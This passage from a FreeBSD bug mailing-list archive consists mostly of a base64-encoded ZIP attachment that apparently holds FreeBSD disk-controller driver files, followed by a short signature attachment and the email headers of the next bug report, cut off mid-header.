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 --------------080001050409090109020505 Content-Type: application/octet-stream; name="Driver 2.2.8-16891 for FreeBSD.zip.sig" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Driver 2.2.8-16891 for FreeBSD.zip.sig" iEYEABECAAYFAkpdUdAACgkQj73gq1RwjyiNggCghA6B/9BFiWJZypBRwgWTsY2Aqe0AnR09 RTurgId6tRFpljsYNsz3BBqP --------------080001050409090109020505-- From owner-freebsd-bugs@FreeBSD.ORG Wed Jul 15 06:50:02 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 4D3971065673 for ; Wed, 15 Jul 2009 06:50:02 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id 25F0D8FC17 for ; Wed, 15 Jul 2009 06:50:02 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6F6o2ld023359 for ; Wed, 15 Jul 2009 06:50:02 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6F6o1wc023358; Wed, 15 Jul 2009 06:50:01 GMT (envelope-from gnats) Resent-Date: Wed, 15 Jul 2009 06:50:01 GMT Resent-Message-Id: <200907150650.n6F6o1wc023358@freefall.freebsd.org> Resent-From: FreeBSD-gnats-submit@FreeBSD.org (GNATS Filer) Resent-To: freebsd-bugs@FreeBSD.org Resent-Reply-To: FreeBSD-gnats-submit@FreeBSD.org, Cristopher Atienza Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 01008106566B for ; Wed, 15 Jul 2009 06:40:17 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (www.freebsd.org [IPv6:2001:4f8:fff6::21]) by mx1.freebsd.org (Postfix) with ESMTP id E13238FC12 for ; Wed, 15 Jul 2009 06:40:16 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (localhost [127.0.0.1]) by www.freebsd.org (8.14.3/8.14.3) with ESMTP id n6F6eGaf042395 for ; Wed, 15 Jul 2009 06:40:16 GMT (envelope-from nobody@www.freebsd.org) Received: (from nobody@localhost) by www.freebsd.org (8.14.3/8.14.3/Submit) id n6F6eGw0042394; Wed, 15 Jul 2009 06:40:16 GMT (envelope-from nobody) Message-Id: <200907150640.n6F6eGw0042394@www.freebsd.org> Date: Wed, 15 Jul 2009 06:40:16 GMT From: Cristopher Atienza To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: 